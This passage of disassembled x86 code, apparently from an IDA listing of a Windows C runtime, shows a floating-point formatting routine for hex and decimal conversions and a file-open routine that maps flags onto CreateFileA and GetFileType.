		cmp	al, 61h
		jz	short loc_44CBC0
		cmp	al, 41h
		jnz	loc_44CDC6


loc_44CBC0:				; CODE XREF: sub_44CA4B+16Bj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_44CBCF
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
		jmp	short loc_44CBD6
; ---------------------------------------------------------------------------


loc_44CBCF:				; CODE XREF: sub_44CA4B+179j
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"


loc_44CBD6:				; CODE XREF: sub_44CA4B+182j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44CBEE
		mov	dword ptr [ebp+var_50],	21h
		jmp	short loc_44CBF8
; ---------------------------------------------------------------------------


loc_44CBEE:				; CODE XREF: sub_44CA4B+198j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		inc	eax
		mov	dword ptr [ebp+var_50],	eax


loc_44CBF8:				; CODE XREF: sub_44CA4B+1A1j
		mov	eax, dword ptr [ebp+var_50]
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		inc	eax
		mov	[ebp+var_44], eax
		fld	dbl_4100D4
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_44CC21
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fchs
		fstp	[ebp+var_58]
		jmp	short loc_44CC29
; ---------------------------------------------------------------------------


loc_44CC21:				; CODE XREF: sub_44CA4B+1C8j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_58]


loc_44CC29:				; CODE XREF: sub_44CA4B+1D4j
		fld	[ebp+var_58]
		fstp	[ebp+var_10]
		sub	[ebp+var_14], 4
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	0
		jmp	loc_44CCCC
; ---------------------------------------------------------------------------


loc_44CC45:				; CODE XREF: sub_44CA4B+293j
		push	1Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_44DB2B
		add	esp, 8
		fld	[ebp+var_10]
		call	sub_44DB4B
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_44]
		sub	eax, 7
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_44CC76
		fld	[ebp+var_10]
		fild	[ebp+var_5C]
		fsubp	st(1), st
		fstp	[ebp+var_10]


loc_44CC76:				; CODE XREF: sub_44CA4B+21Ej
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax
		mov	[ebp+var_60], 7
		jmp	short loc_44CC9B
; ---------------------------------------------------------------------------


loc_44CC88:				; CODE XREF: sub_44CA4B+25Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_5C]
		and	edx, 0Fh
		mov	[eax], dl
		sar	[ebp+var_5C], 4


loc_44CC9B:				; CODE XREF: sub_44CA4B+23Bj
		cmp	[ebp+var_5C], 0
		jle	short loc_44CCAC
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_44CC88


loc_44CCAC:				; CODE XREF: sub_44CA4B+254j
		jmp	short loc_44CCB8
; ---------------------------------------------------------------------------


loc_44CCAE:				; CODE XREF: sub_44CA4B+276j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	0


loc_44CCB8:				; CODE XREF: sub_44CA4B:loc_44CCACj
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_44CCAE
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax


loc_44CCCC:				; CODE XREF: sub_44CA4B+1F5j
		cmp	[ebp+var_44], 0
		jle	short loc_44CCE4
		fld	[ebp+var_10]
		fcomp	dbl_4100D4
		fnstsw	ax
		sahf
		ja	loc_44CC45


loc_44CCE4:				; CODE XREF: sub_44CA4B+285j
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_44CD05
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_44CD05:				; CODE XREF: sub_44CA4B+2B1j
		cmp	[ebp+var_12], 0
		jl	loc_44CDA9
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_44CD31
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 8
		jb	short loc_44CD31
		mov	[ebp+var_64], 0Fh
		jmp	short loc_44CD38
; ---------------------------------------------------------------------------


loc_44CD31:				; CODE XREF: sub_44CA4B+2CFj
					; sub_44CA4B+2DBj
		mov	[ebp+var_64], 0


loc_44CD38:				; CODE XREF: sub_44CA4B+2E4j
		mov	eax, [ebp+var_64]
		mov	byte ptr [ebp+var_60+3], al
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_44CD4C
; ---------------------------------------------------------------------------


loc_44CD47:				; CODE XREF: sub_44CA4B+311j
		sub	[ebp+var_12], 1


loc_44CD4C:				; CODE XREF: sub_44CA4B+2FAj
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_60+3]
		cmp	[edx+eax], cl
		jz	short loc_44CD47
		cmp	byte ptr [ebp+var_60+3], 0Fh
		jnz	short loc_44CD6F
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_44CD6F:				; CODE XREF: sub_44CA4B+317j
		cmp	[ebp+var_5C], 0
		jge	short loc_44CD82
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 4


loc_44CD82:				; CODE XREF: sub_44CA4B+328j
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_44CD9E
; ---------------------------------------------------------------------------


loc_44CD8B:				; CODE XREF: sub_44CA4B+35Cj
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_48]
		mov	dl, [ecx+edx]
		mov	[eax], dl


loc_44CD9E:				; CODE XREF: sub_44CA4B+33Ej
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		test	eax, eax
		jge	short loc_44CD8B


loc_44CDA9:				; CODE XREF: sub_44CA4B+2BFj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	loc_44D080
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+var_12]
		dec	eax
		mov	[edx+2Ch], eax
		jmp	loc_44D080
; ---------------------------------------------------------------------------


loc_44CDC6:				; CODE XREF: sub_44CA4B+16Fj
		fld	dbl_4100D4
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_44CDDC
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_44CDDC:				; CODE XREF: sub_44CA4B+387j
		movsx	eax, [ebp+var_14]
		imul	eax, 7597h
		push	eax
		mov	edx, 14F8B589h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 0Dh
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_14], ax
		test	ax, ax
		jge	short loc_44CE47
		mov	eax, 3
		movsx	edx, [ebp+var_14]
		sub	eax, edx
		and	eax, 0FFFFFFFCh
		mov	[ebp+var_44], eax
		neg	eax
		mov	[ebp+var_14], ax
		mov	[ebp+var_48], 0
		jmp	short loc_44CE3F
; ---------------------------------------------------------------------------


loc_44CE23:				; CODE XREF: sub_44CA4B+3F8j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_44CE39
		fld	[ebp+var_10]
		mov	eax, [ebp+var_48]
		fmul	dbl_41007C[eax*8]
		fstp	[ebp+var_10]


loc_44CE39:				; CODE XREF: sub_44CA4B+3DCj
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_44CE3F:				; CODE XREF: sub_44CA4B+3D6j
		cmp	[ebp+var_44], 0
		jg	short loc_44CE23
		jmp	short loc_44CE97
; ---------------------------------------------------------------------------


loc_44CE47:				; CODE XREF: sub_44CA4B+3B6j
		cmp	[ebp+var_14], 0
		jle	short loc_44CE97
		fld	dbl_4100CC
		fstp	[ebp+var_50]
		and	[ebp+var_14], 0FFFCh
		movsx	eax, [ebp+var_14]
		mov	[ebp+var_44], eax
		mov	[ebp+var_48], 0
		jmp	short loc_44CE88
; ---------------------------------------------------------------------------


loc_44CE6C:				; CODE XREF: sub_44CA4B+441j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_44CE82
		fld	[ebp+var_50]
		mov	eax, [ebp+var_48]
		fmul	dbl_41007C[eax*8]
		fstp	[ebp+var_50]


loc_44CE82:				; CODE XREF: sub_44CA4B+425j
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_44CE88:				; CODE XREF: sub_44CA4B+41Fj
		cmp	[ebp+var_44], 0
		jg	short loc_44CE6C
		fld	[ebp+var_10]
		fdiv	[ebp+var_50]
		fstp	[ebp+var_10]


loc_44CE97:				; CODE XREF: sub_44CA4B+3FAj
					; sub_44CA4B+401j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44CEA2
		cmp	al, 46h
		jnz	short loc_44CEAE


loc_44CEA2:				; CODE XREF: sub_44CA4B+451j
		movsx	eax, [ebp+var_14]
		add	eax, 0Ah
		mov	[ebp+var_48], eax
		jmp	short loc_44CEB5
; ---------------------------------------------------------------------------


loc_44CEAE:				; CODE XREF: sub_44CA4B+455j
		mov	[ebp+var_48], 6


loc_44CEB5:				; CODE XREF: sub_44CA4B+461j
		mov	eax, [ebp+var_48]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_44], eax
		cmp	eax, 13h
		jle	short loc_44CECF
		mov	[ebp+var_44], 13h


loc_44CECF:				; CODE XREF: sub_44CA4B+47Bj
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	30h
		jmp	loc_44CF75
; ---------------------------------------------------------------------------


loc_44CEE0:				; CODE XREF: sub_44CA4B+53Cj
		fld	[ebp+var_10]
		call	sub_44DB4B
		mov	dword ptr [ebp+var_50+4], eax
		mov	eax, [ebp+var_44]
		sub	eax, 8
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_44CF09
		fld	[ebp+var_10]
		fild	dword ptr [ebp+var_50+4]
		fsubp	st(1), st
		fmul	dbl_4100C4
		fstp	[ebp+var_10]


loc_44CF09:				; CODE XREF: sub_44CA4B+4ABj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_50],	8
		jmp	short loc_44CF44
; ---------------------------------------------------------------------------


loc_44CF1B:				; CODE XREF: sub_44CA4B+508j
		push	0Ah
		mov	eax, dword ptr [ebp+var_50+4]
		push	eax
		call	sub_44DB7B
		add	esp, 8
		mov	dword ptr [ebp+var_58],	eax
		mov	dword ptr [ebp+var_58+4], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, dword ptr [ebp+var_58+4]
		add	edx, 30h
		mov	[eax], dl
		mov	eax, dword ptr [ebp+var_58]
		mov	dword ptr [ebp+var_50+4], eax


loc_44CF44:				; CODE XREF: sub_44CA4B+4CEj
		cmp	dword ptr [ebp+var_50+4], 0
		jle	short loc_44CF55
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_44CF1B


loc_44CF55:				; CODE XREF: sub_44CA4B+4FDj
		jmp	short loc_44CF61
; ---------------------------------------------------------------------------


loc_44CF57:				; CODE XREF: sub_44CA4B+51Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	30h


loc_44CF61:				; CODE XREF: sub_44CA4B:loc_44CF55j
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_44CF57
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax


loc_44CF75:				; CODE XREF: sub_44CA4B+490j
		cmp	[ebp+var_44], 0
		jle	short loc_44CF8D
		fld	dbl_4100D4
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jb	loc_44CEE0


loc_44CF8D:				; CODE XREF: sub_44CA4B+52Ej
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		add	[ebp+var_14], 7
		jmp	short loc_44CFB0
; ---------------------------------------------------------------------------


loc_44CFA5:				; CODE XREF: sub_44CA4B+56Bj
		dec	[ebp+var_44]
		sub	[ebp+var_14], 1
		inc	[ebp+var_4]


loc_44CFB0:				; CODE XREF: sub_44CA4B+558j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	30h
		jz	short loc_44CFA5
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44CFC3
		cmp	al, 46h
		jnz	short loc_44CFCD


loc_44CFC3:				; CODE XREF: sub_44CA4B+572j
		movsx	eax, [ebp+var_14]
		inc	eax
		mov	dword ptr [ebp+var_50+4], eax
		jmp	short loc_44CFE8
; ---------------------------------------------------------------------------


loc_44CFCD:				; CODE XREF: sub_44CA4B+576j
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_44CFD8
		cmp	al, 45h
		jnz	short loc_44CFE1


loc_44CFD8:				; CODE XREF: sub_44CA4B+587j
		mov	dword ptr [ebp+var_50+4], 1
		jmp	short loc_44CFE8
; ---------------------------------------------------------------------------


loc_44CFE1:				; CODE XREF: sub_44CA4B+58Bj
		mov	dword ptr [ebp+var_50+4], 0


loc_44CFE8:				; CODE XREF: sub_44CA4B+580j
					; sub_44CA4B+594j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_44D007
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_44D007:				; CODE XREF: sub_44CA4B+5B3j
		cmp	[ebp+var_12], 0
		jl	short loc_44D080
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_44D02F
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 35h
		jb	short loc_44D02F
		mov	dword ptr [ebp+var_58],	39h
		jmp	short loc_44D036
; ---------------------------------------------------------------------------


loc_44D02F:				; CODE XREF: sub_44CA4B+5CDj
					; sub_44CA4B+5D9j
		mov	dword ptr [ebp+var_58],	30h


loc_44D036:				; CODE XREF: sub_44CA4B+5E2j
		mov	eax, dword ptr [ebp+var_58]
		mov	byte ptr [ebp+var_50+3], al
		movsx	eax, [ebp+var_12]
		mov	dword ptr [ebp+var_58+4], eax
		jmp	short loc_44D04A
; ---------------------------------------------------------------------------


loc_44D045:				; CODE XREF: sub_44CA4B+60Fj
		sub	[ebp+var_12], 1


loc_44D04A:				; CODE XREF: sub_44CA4B+5F8j
		mov	eax, dword ptr [ebp+var_58+4]
		dec	eax
		mov	dword ptr [ebp+var_58+4], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_50+3]
		cmp	[edx+eax], cl
		jz	short loc_44D045
		cmp	byte ptr [ebp+var_50+3], 39h
		jnz	short loc_44D06D
		mov	eax, dword ptr [ebp+var_58+4]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_44D06D:				; CODE XREF: sub_44CA4B+615j
		cmp	dword ptr [ebp+var_58+4], 0
		jge	short loc_44D080
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 1


loc_44D080:				; CODE XREF: sub_44CA4B+161j
					; sub_44CA4B+365j ...
		movsx	eax, [ebp+var_14]
		push	eax
		movsx	eax, [ebp+var_12]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44DBAB
		add	esp, 14h


loc_44D09F:				; CODE XREF: sub_44CA4B+B4j
					; sub_44CA4B+106j
		mov	esp, ebp
		pop	ebp
		retn
sub_44CA4B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D0AB	proc near		; CODE XREF: sub_44BDDB+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	ebx, [ebp+arg_8]
		lea	eax, [ebx+4]
		mov	ebx, eax
		mov	esi, [eax-4]
		push	esi
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D0DB
		add	esp, 10h
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44D0AB	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D0DB	proc near		; CODE XREF: sub_44D0AB+1Bp

var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], 0
		test	ebx, 80h
		jz	short loc_44D10A
		mov	[ebp+var_8], 0
		mov	[ebp+var_1], 10h
		jmp	short loc_44D115
; ---------------------------------------------------------------------------


loc_44D10A:				; CODE XREF: sub_44D0DB+20j
		mov	[ebp+var_8], 1
		mov	[ebp+var_1], 0


loc_44D115:				; CODE XREF: sub_44D0DB+2Dj
		test	ebx, 8000h
		jnz	short loc_44D129
		test	ebx, 4000h
		jz	short loc_44D129
		or	[ebp+var_1], 80h


loc_44D129:				; CODE XREF: sub_44D0DB+40j
					; sub_44D0DB+48j
		mov	edi, ebx
		and	edi, 3
		jz	short loc_44D13C
		cmp	edi, 1
		jz	short loc_44D145
		cmp	edi, 2
		jz	short loc_44D14E
		jmp	short loc_44D157
; ---------------------------------------------------------------------------


loc_44D13C:				; CODE XREF: sub_44D0DB+53j
		mov	[ebp+var_20], 80000000h
		jmp	short loc_44D16A
; ---------------------------------------------------------------------------


loc_44D145:				; CODE XREF: sub_44D0DB+58j
		mov	[ebp+var_20], 40000000h
		jmp	short loc_44D16A
; ---------------------------------------------------------------------------


loc_44D14E:				; CODE XREF: sub_44D0DB+5Dj
		mov	[ebp+var_20], 0C0000000h
		jmp	short loc_44D16A
; ---------------------------------------------------------------------------


loc_44D157:				; CODE XREF: sub_44D0DB+5Fj
		call	sub_449B9B
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D16A:				; CODE XREF: sub_44D0DB+68j
					; sub_44D0DB+71j ...
		mov	eax, [ebp+arg_8]
		cmp	eax, 20h
		jz	short loc_44D197
		jg	short loc_44D17C
		cmp	[ebp+arg_8], 10h
		jz	short loc_44D18E
		jmp	short loc_44D1B2
; ---------------------------------------------------------------------------


loc_44D17C:				; CODE XREF: sub_44D0DB+97j
		mov	eax, [ebp+arg_8]
		cmp	eax, 30h
		jz	short loc_44D1A0
		jl	short loc_44D1B2
		cmp	[ebp+arg_8], 40h
		jz	short loc_44D1A9
		jmp	short loc_44D1B2
; ---------------------------------------------------------------------------


loc_44D18E:				; CODE XREF: sub_44D0DB+9Dj
		mov	[ebp+var_28], 0
		jmp	short loc_44D1C5
; ---------------------------------------------------------------------------


loc_44D197:				; CODE XREF: sub_44D0DB+95j
		mov	[ebp+var_28], 1
		jmp	short loc_44D1C5
; ---------------------------------------------------------------------------


loc_44D1A0:				; CODE XREF: sub_44D0DB+A7j
		mov	[ebp+var_28], 2
		jmp	short loc_44D1C5
; ---------------------------------------------------------------------------


loc_44D1A9:				; CODE XREF: sub_44D0DB+AFj
		mov	[ebp+var_28], 3
		jmp	short loc_44D1C5
; ---------------------------------------------------------------------------


loc_44D1B2:				; CODE XREF: sub_44D0DB+9Fj
					; sub_44D0DB+A9j ...
		call	sub_449B9B
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D1C5:				; CODE XREF: sub_44D0DB+BAj
					; sub_44D0DB+C3j ...
		mov	eax, ebx
		and	eax, 700h
		mov	[ebp+var_3C], eax
		cmp	eax, 300h
		jz	short loc_44D249
		jg	short loc_44D1F7
		mov	eax, [ebp+var_3C]
		cmp	eax, 100h
		jz	short loc_44D22E
		jg	short loc_44D1EC
		cmp	[ebp+var_3C], 0
		jz	short loc_44D225
		jmp	short loc_44D252
; ---------------------------------------------------------------------------


loc_44D1EC:				; CODE XREF: sub_44D0DB+107j
		cmp	[ebp+var_3C], 200h
		jz	short loc_44D240
		jmp	short loc_44D252
; ---------------------------------------------------------------------------


loc_44D1F7:				; CODE XREF: sub_44D0DB+FBj
		mov	eax, [ebp+var_3C]
		cmp	eax, 500h
		jz	short loc_44D237
		jg	short loc_44D20E
		cmp	[ebp+var_3C], 400h
		jz	short loc_44D225
		jmp	short loc_44D252
; ---------------------------------------------------------------------------


loc_44D20E:				; CODE XREF: sub_44D0DB+126j
		mov	eax, [ebp+var_3C]
		cmp	eax, 600h
		jz	short loc_44D240
		jl	short loc_44D252
		cmp	[ebp+var_3C], 700h
		jz	short loc_44D237
		jmp	short loc_44D252
; ---------------------------------------------------------------------------


loc_44D225:				; CODE XREF: sub_44D0DB+10Dj
					; sub_44D0DB+12Fj
		mov	[ebp+var_24], 3
		jmp	short loc_44D265
; ---------------------------------------------------------------------------


loc_44D22E:				; CODE XREF: sub_44D0DB+105j
		mov	[ebp+var_24], 4
		jmp	short loc_44D265
; ---------------------------------------------------------------------------


loc_44D237:				; CODE XREF: sub_44D0DB+124j
					; sub_44D0DB+146j
		mov	[ebp+var_24], 1
		jmp	short loc_44D265
; ---------------------------------------------------------------------------


loc_44D240:				; CODE XREF: sub_44D0DB+118j
					; sub_44D0DB+13Bj
		mov	[ebp+var_24], 5
		jmp	short loc_44D265
; ---------------------------------------------------------------------------


loc_44D249:				; CODE XREF: sub_44D0DB+F9j
		mov	[ebp+var_24], 2
		jmp	short loc_44D265
; ---------------------------------------------------------------------------


loc_44D252:				; CODE XREF: sub_44D0DB+10Fj
					; sub_44D0DB+11Aj ...
		call	sub_449B9B
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D265:				; CODE XREF: sub_44D0DB+151j
					; sub_44D0DB+15Aj ...
		mov	[ebp+var_14], 80h
		test	ebx, 100h
		jz	short loc_44D293
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		add	eax, 4
		mov	[ebp+var_2C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_30], eax
		test	byte ptr [ebp+var_30], 80h
		jnz	short loc_44D293
		mov	[ebp+var_14], 1


loc_44D293:				; CODE XREF: sub_44D0DB+197j
					; sub_44D0DB+1AFj
		test	ebx, 40h
		jz	short loc_44D2A9
		or	[ebp+var_14], 4000000h
		or	[ebp+var_20], 10000h


loc_44D2A9:				; CODE XREF: sub_44D0DB+1BEj
		test	ebx, 1000h
		jz	short loc_44D2B8
		or	[ebp+var_14], 100h


loc_44D2B8:				; CODE XREF: sub_44D0DB+1D4j
		test	ebx, 20h
		jz	short loc_44D2C9
		or	[ebp+var_14], 8000000h
		jmp	short loc_44D2D8
; ---------------------------------------------------------------------------


loc_44D2C9:				; CODE XREF: sub_44D0DB+1E3j
		test	ebx, 10h
		jz	short loc_44D2D8
		or	[ebp+var_14], 10000000h


loc_44D2D8:				; CODE XREF: sub_44D0DB+1ECj
					; sub_44D0DB+1F4j
		call	sub_44C0CB
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D2F7
		call	sub_449B9B
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D2F7:				; CODE XREF: sub_44D0DB+207j
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_411DD4	; CreateFileA
		mov	[ebp+var_18], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D33D
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_449A3B
		pop	ecx
		push	esi
		call	sub_44C4DB
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D33D:				; CODE XREF: sub_44D0DB+244j
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411DF0	; GetFileType
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_44D374
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411CFC	; CloseHandle
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_449A3B
		pop	ecx
		push	esi
		call	sub_44C4DB
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D374:				; CODE XREF: sub_44D0DB+271j
		cmp	[ebp+var_1C], 2
		jnz	short loc_44D380
		or	[ebp+var_1], 40h
		jmp	short loc_44D38A
; ---------------------------------------------------------------------------


loc_44D380:				; CODE XREF: sub_44D0DB+29Dj
		cmp	[ebp+var_1C], 3
		jnz	short loc_44D38A
		or	[ebp+var_1], 8


loc_44D38A:				; CODE XREF: sub_44D0DB+2A3j
					; sub_44D0DB+2A9j
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_44C2AB
		add	esp, 8
		or	[ebp+var_1], 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	cl, [ebp+var_1]
		mov	[edx+eax+4], cl
		movzx	eax, [ebp+var_1]
		test	eax, 48h
		jnz	loc_44D482
		test	eax, 80h
		jz	loc_44D482
		test	ebx, 2
		jz	loc_44D482
		push	2
		push	0FFFFFFFFh
		push	esi
		call	sub_44D5EB
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D418
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 83h
		jz	loc_44D482
		push	esi
		call	sub_44A57B
		pop	ecx
		push	esi
		call	sub_44C4DB
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D418:				; CODE XREF: sub_44D0DB+314j
		mov	[ebp+var_35], 0
		push	1
		lea	eax, [ebp+var_35]
		push	eax
		push	esi
		call	sub_44E08B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_44D45A
		cmp	[ebp+var_35], 1Ah
		jnz	short loc_44D45A
		mov	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_44E44B
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D45A
		push	esi
		call	sub_44A57B
		pop	ecx
		push	esi
		call	sub_44C4DB
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D45A:				; CODE XREF: sub_44D0DB+352j
					; sub_44D0DB+358j ...
		push	0
		push	0
		push	esi
		call	sub_44D5EB
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44D482
		push	esi
		call	sub_44A57B
		pop	ecx
		push	esi
		call	sub_44C4DB
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_44D4B4
; ---------------------------------------------------------------------------


loc_44D482:				; CODE XREF: sub_44D0DB+2E4j
					; sub_44D0DB+2EFj ...
		test	[ebp+var_1], 48h
		jnz	short loc_44D4AB
		test	ebx, 8
		jz	short loc_44D4AB
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
